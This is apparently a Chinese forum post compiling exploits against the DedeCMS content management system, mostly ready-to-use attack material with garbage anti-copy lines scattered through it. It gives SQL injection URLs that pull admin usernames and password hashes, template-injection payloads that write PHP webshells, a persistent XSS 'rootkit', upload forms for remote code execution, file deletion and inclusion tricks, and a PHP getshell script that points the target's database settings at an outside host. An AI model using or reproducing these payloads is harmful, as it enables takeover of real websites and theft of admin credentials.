dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
1 s/ V4 [8 j$ r$ }$ m4 n, \
- u* e$ g- S/ M6 w3 n0 g: R
7 f8 `2 Z, q% m$ U* ]- ^% w7 V/ v
3 |% a5 y5 r# k& c6 s
8 E6 w0 G6 ~3 z7 [3 Q  C
- _; g8 R9 {* }% b; {# `


9 r* a2 Z4 |& N1 `. o8 YDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
& a: C/ b/ T9 |; x, M# C4 E发表后查看或修改即可执行
( P% _& }$ }! h" d; @7 j' ya{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
' W9 m/ \8 `' P+ }, E

5 c9 a: B7 P4 A$ r  l  k

1 g0 z1 }7 r$ Y% s  g

0 \1 d9 w/ u/ n  j0 E0 c+ b, B
4 m  R8 E5 x& d/ e, ]
2 M, {6 S+ x3 a4 I& l2 KDede 5.6 GBK SQL注入漏洞
* c/ _# Z, n8 ^3 G7 T8 u% }7 A( _http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
) V. F: A5 w  \8 Ghttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
; N( i  K2 ?/ O9 @- i5 D' C
" \$ t, m7 y7 Q8 z# l

& k" ?: ?6 K0 [% i8 R* s
! G; c7 w- l1 v) Z) N: z
  F; j1 V: K1 i6 U: l9 q& G3 q


DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
9 A, [  T. r" Z' Q2 m+ @# Q1 yhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

- e1 m9 @; T, ?% {+ H" C- L
: j) r* d! _; |/ ~( E" z

: c: m. J$ U$ r& n8 y" b
5 s: @" E2 t3 W( v% n2 T  D+ H
DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
( u6 ]0 p; n" }- yhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

4 W6 \# A/ |+ U7 I/ Q  O5 i5 K
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
8 B1 O; I* _. M9 O: M' h! ohttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
# ^% g0 g1 t' `
% Z* n' Q) ~2 j& d/ G5 }, x9 a0 r
+ @, i2 t( v! R9 ^" Ghttp://v57.demo.dedecms.com/dede/login.php
; s2 k" e( k6 I5 W. A7 d
; |$ ]# W& c, e: b& R8 J4 a+ ^
0 n  S5 R& i. t" N& M8 u( o3 [. \color=Red]DeDeCMS(织梦)变量覆盖getshell
; I# \. p- S0 y6 m! k& h6 s/ f#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
  b  E1 a5 W6 N) b% H: _6 [set_time_limit(0);
; a9 x" q8 v- I% G/ gprint_r('
1 ~, x2 @$ c, f7 V( I: ]DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
% G, j2 t& W, e$ G/ r& T6 a/ G);
) n1 K/ K. r- d9 o4 m, y# v! Z# aecho "\r\n";
* A5 j- x# _% I& b- Vif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
  R1 l9 R+ ^8 q; q$ ^# I& H, kUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
exit;
}
' ^: G1 t0 G7 l3 o0 Y+ D6 t% ^$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
: R& \- _# O8 O! W$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
: s  A- I) U; v, ?( \" qif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
4 T9 D0 Z# @- S  M$ g% l( Y
- W% S& S; B  k' a2 H3 ^
if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;

3 L1 k' `% x+ }7 x- N& C# G- g- E
if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
! j1 t" M3 L" Pecho "
4 }7 D; Q8 D8 ZExploit Failed \n";
' E: Q3 v& H) b$ u) d6 m}
" }3 R: |6 s' ?- D2 xfunction Getshell($url,$aid,$path){
$id=$aid;
# T; o& ~1 Q  F; W( I' M4 @$host=$url;
, c- i" b+ a. ^' d+ {: u) X! G* ?$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
9 ?! K. Y2 J- X* M: N' W* s$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
* H, Q  Z1 y0 m. ~$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
7 W3 c5 E: Q: V: q$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 K7 s" E8 c! I- \+ ]* v$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
+ _, b& r$ G5 {4 p3 Z9 _//$data .= "Accept-Encoding: gzip,deflate\r\n";
4 f$ e; I- h% Y/ F( ]$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
+ |$ d4 K9 F8 g- s3 t; P$ock=fsockopen($host,$port);
; r6 x% O, t1 o, G7 J( C4 cif (!$ock) {
$ B( x: W  a* L; k' W% [echo "
0 c  }. K' A* ~! U, ]No response from ".$host."\n";
}
6 ~) }/ m5 L& q- w2 {$ k6 y+ a# Jfwrite($ock,$data);
+ I+ a' p9 Y% Y# q: D1 v7 Jwhile (!feof($ock)) {
, W& @) T" q" @1 r$ K# U. u$exp=fgets($ock, 1024);
return $exp;
}
+ |# e5 x- p& l# P  K7 c3 d}
/ U& g. O0 y$ K; Y3 {: H

?>





9 p5 M: C) K7 @5 o7 U. N: A4 X7 k6 A
- x0 H% g9 r) \

5 }& k3 u/ `4 a

( `2 _. r" e$ S; QDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
2 s- ]4 F& E. T6 C, C  j6 Lhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台
1 ^; z( i- v1 Z' F% `

此漏洞的前提是必须得到后台路径才能实现
* V3 U1 p2 h. c1 P
4 H- z) p/ ]% _' O


, m0 k* V7 N& C- n4 @

7 W. m9 p* V2 U" V! r5 V
, P" W4 g( v* A" C: ]


" Q; n6 A  z3 ?- q/ |; m/ }( MDedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
0 Y/ z- t& n( I5 Q. @! u+ [

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
$ G" t1 b" U1 I: W: Z$ h: k<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
/ T( w3 k& j/ H/ f  K- p* U<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
2 O$ U2 s0 g4 I& Y<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
  k3 r: }7 e% S  R<input type="text" value="true" name="nocache" style="width:400">
2 N' e; D/ c/ P0 h+ @8 ~+ y, s1 p<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
$ H7 o/ Y: o& a. P+ y{
* v! ]/ S: b4 V) o2 R' Jdocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
! @; _9 Z$ D6 _/ v

5 j3 C( ~, q% S- [+ Q
1 g! S4 i' v4 k, R# u




; [7 T, b! E; z3 N) S. t; ]7 c. ]$ N
% m4 Y3 E0 Y$ a3 s7 F' {1 Z2 }
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
, p& g( j9 e, n( }3 P- ^a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
9 H" v3 }3 V/ i$ Q2 H$ w5 c/ c生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
0 X) n: W! n8 h# L8 m- ~' ~! l2 ]uploads/userup/2/12OMX04-15A.jpg


- F8 x! N1 L) @* G, ~3 {模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
- u' ]9 j% Z$ j, P9 z! E0 v$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
5 @# M" y4 d. u) _@fclose($fp);
{/dede:name}
2 U5 O: M8 u) _, u$ N6 M0 F" B2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
% K  `: r. r/ a<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
* I: F0 v* F% x$ n- x<input type="hidden" name="channelid" value="1" />
0 Z: h8 V! W- J3 n<input type="hidden" name="oldlitpic" value="" />
3 {$ Q# u% r6 P9 k0 @+ E' }<input type="hidden" name="sortrank" value="1275972263" />
# X. j& K( r0 O$ h: k4 [6 \! a
% C" ~/ p/ f5 m' P6 R  w5 }
<div id="mainCp">
" [7 m: M, V9 n7 m/ J) `# [<h3 class="meTitle"><strong>修改文章</strong></h3>
  G% ^/ U; x0 ?; p: u2 W

0 m( ^" R: |$ ?7 W! y<div class="postForm">
. O! B7 V+ c) L' r0 z  \9 C3 `<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
; e' |2 b! [. _6 n* [& K

<label>标签TAG：</label>
/ m9 q' E) R- k3 ]<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


4 y& q$ z9 R; h& K; b<label>作者：</label>
9 W+ E: c; x, ^* ], R<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


  F6 W) _7 h9 i+ c- s0 Q6 t0 Q<label>隶属栏目：</label>
- B6 z' t# ?# k1 w- [& z<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
4 n  x/ G$ C/ |2 E- l* T+ G" Z; {</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
; [" Q* M" h, J5 L. H+ i2 D1 ?<option value='1' class='option3' selected>hahahha</option>
</select>
0 A8 U' T  c( T) x
( P) |8 `3 T) k! F& P/ C
<label>信息摘要：</label>
; b- M) S: _$ q) {$ U4 ~$ t<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
) Z5 Q: y9 N, ]
" x% N: e/ I& T- E+ F$ x
<label>缩略图：</label>
; `7 _: [6 x+ x, p<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


8 r$ a2 b$ u5 M+ ?<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
+ t9 m# f! q7 ~* P2 ~! U<input type='text' name='dede_addonfields'
3 K" r( s& ~: v2 a2 e2 @* Lvalue="templet,htmltext;">（这里构造）
</div>


<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
9 c# m+ D% G9 s1 K; }, B/ j

- G5 X. `* g% w! g' w; w1 X5 O<div class="contentShow postForm">
. E0 B% V: v* u  r8 y# D) b<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


2 o  a2 m9 X8 U, W, u6 U# W<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
* _, A( F3 b$ `  H* D# R
5 ?0 y, F9 z0 D. q& r4 f( i0 l
<button class="button2" type="submit">提交</button>
4 D7 F/ x5 @5 d* Y: d8 C<button class="button2 ml10" type="reset">重置</button>
! _# T4 `3 t' u7 [/ c& P& M</div>

; D, Q* n0 R2 {9 B2 _* S1 {
7 K! D. ]  _" @* q4 _</div>


1 Y" [$ o+ _9 @</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
0 T. n1 S9 a- J5 K+ Mhttp://127.0.0.1/dede/plus/view.php?aid=2
5 ?0 b# |# x; |" Y" c即可以在plus目录下生成webshell：1.php
+ P& c3 s& x1 N- y! ]
4 L; K4 B$ h+ C
) k, {% x" _9 N0 C! u
7 S+ L3 R( ], z8 q, {( J$ e
- @6 O6 u( i& l


6 Z# @7 t/ X! Q) U5 R( r) O



# F3 V2 V; a: j0 [1 Z7 v
0 n9 f; @$ [; p: C2 F9 ?5 D0 ^DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
# e1 U; }9 {. [% T: _phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
  {; j* v; |0 X<input type="hidden" name="mediatype" value="1" />
6 Q+ J" I0 T$ Y9 T& L& r<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
/ o8 F. @" y$ v% w' X<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
) X3 |2 t3 k9 S4 b! A; U5 w& q</form>
5 M+ Z3 d7 `2 c. e5 c9 R# N9 ^
! w7 \" u, z7 ?
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：


5 w, n3 S  m# U1 f$ S9 \) t( m# ^<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
7 e9 @: L7 s9 q. ]7 ~8 H$ [<input type="hidden" name="dopost" value="save" />
2 O" q% C1 G& W6 X- }# O& p  k0 W% k<input type="hidden" name="aid" value="2" />
- E0 |) P- P- R$ ?  O" V4 c! ~<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
/ O9 E& P" h9 M  U8 j2 L' g<input type="hidden" name="channelid" value="1" />
" Q8 a: g- _/ b( X<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
" {/ O7 @: w9 ~- T( a" g0 h, ?<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
  ~+ l. f$ i, u7 C5 [7 O<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
9 X2 S. f% w9 H7 q- A, g" I9 ?6 ]<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
. p5 O1 \6 a8 \2 i( u<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
. t1 ]& w( J) f) |# q<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
6 ~% D4 [  g0 r: v" g</form>
- p$ a' D. u% G) U
9 S9 n: u! v: C7 R! [5 g5 [$ h6 ]

$ {+ F5 k8 {  h) O+ J, ^0 D
4 Q0 }9 ~9 C" B' O  X
5 [+ }: g* I6 r/ E: u
' O4 r$ g' L/ ^, p& I
0 ^! K4 E- r: k- z& i8 j9 ^. `# w
5 k  V; E/ Q/ d0 Q5 @& m8 q% H



, t; ~, o7 @' D0 R织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

  ~! u. x# e% F3 O0 [
/ N- z. [8 e7 t0 ~$ g" v5 M


4 w9 N+ g& X  Y/ U, N3 H
, M, ^- w! F+ {% x: d+ v" ~

& F& B2 j6 m( S' U9 K  J2 ^$ d; H

织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
1 B. I; D& j* d$ h

. v$ a) d, A+ H) s2 ^
. @2 p+ O: u% S' Z! Z' ?4 p
) {; z) d5 L6 W, |+ c2 X) R$ v
; Q8 \. V9 X5 K5 [


5 a1 I9 W( V# K6 T( W. }

7 u3 M% a! M) g* d1 u& b$ j; LDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
# C8 p: N% H+ q$ M) [2 y0 jplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
! W0 }' Y2 B$ p) \+ c密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

* V! Y% P' s: V# `

1 b  r' o! E7 P8 h) j8 e; }- n2 O3 r

+ }# C% w9 ?$ j' c




织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

" G3 \2 u- d! ]' y& e/ o

- X, y. C( P4 e: w: Z& q
0 Z% `6 R: I0 Y



- ~6 g! s! I2 a8 A% c- t+ n7 _

+ b" M. k( [1 @5 }织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
( [1 V; A7 a2 k  g6 |<html>
<head>
3 U. C0 S# b$ y5 s6 Q<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
5 Y7 e3 j$ }4 a$ R- l( m8 L<body style="FONT-SIZE: 9pt">
# o! e4 s) W- i# S) V---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
2 a; h5 q9 c( X: `" R<input type='hidden' name='activepath' value='/data/cache/' />
& o+ t# {; V! a: L<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
( Y2 r3 s+ D$ [/ {7 `4 b7 c; |4 h3 L0 p<input type='hidden' name='cfg_mediatype' value='php' />
  b+ K! }5 P# ^- P5 L" M4 e( ]<input type='hidden' name='f' value='form1.enclosure' />
9 z* Q2 r/ g5 w( d* Z2 y, ]  y<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
8 x  `# b  e6 P* z' W; j3 y<input type='submit' name='sb1' value='确定' />
( I/ a" b' S0 }- P' ^  F4 G</form>
2 J* m, h0 B4 {. {5 ~<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
& Q8 Z+ P& c7 q, dFun the game,get a webshell at /data/cache/fly.php...<br />
, P2 {- B9 T0 j4 N, n  i</body>
4 P, @2 O: F! e" O</html>
* I7 z; I4 H( M1 P2 g+ H9 P! ^
- q* q! G! G+ p# L9 b4 }


. p; t4 R6 K( b" C. b



' N" j0 N' |  O% |' F
- |! L& l6 q' |" J) P
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
2 F) @5 u; {9 S3 p利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
  z' f$ d& M* H- ^2 |http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
5 Y; j# P% C3 @9 q  `. d6 y可看见错误信息
8 F2 P/ X: d' [) {- O: T7 ?' z
8 a! ?3 z9 }! v7 V. {% k- l5 S" j
) o' E3 p4 R: _: p0 [2 f9 U- T2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
$ B! U. k- v9 O; w0 L) e5 yint(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


7 @" m$ Q4 o5 K4 `- f  m% O3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

/ W( d% P1 P: I& a8 D5 C
" J" U" p" U: z<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


按确定后的看到第2步骤的信息表示文件木马上传成功.
; s5 R- @' B1 m6 L+ N+ W



8 S# \9 M2 U" u3 r, x
' s. w) v$ \2 B- F  @0 ]

7 d/ q& k% S& R
- o7 R) A+ @" [: ^  ?
! l3 y7 _' X8 f  j/ k5 \/ S7 S
# m' F8 M1 _- Q( K9 G9 [6 `
0 J" X& j6 F) z; q. b
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*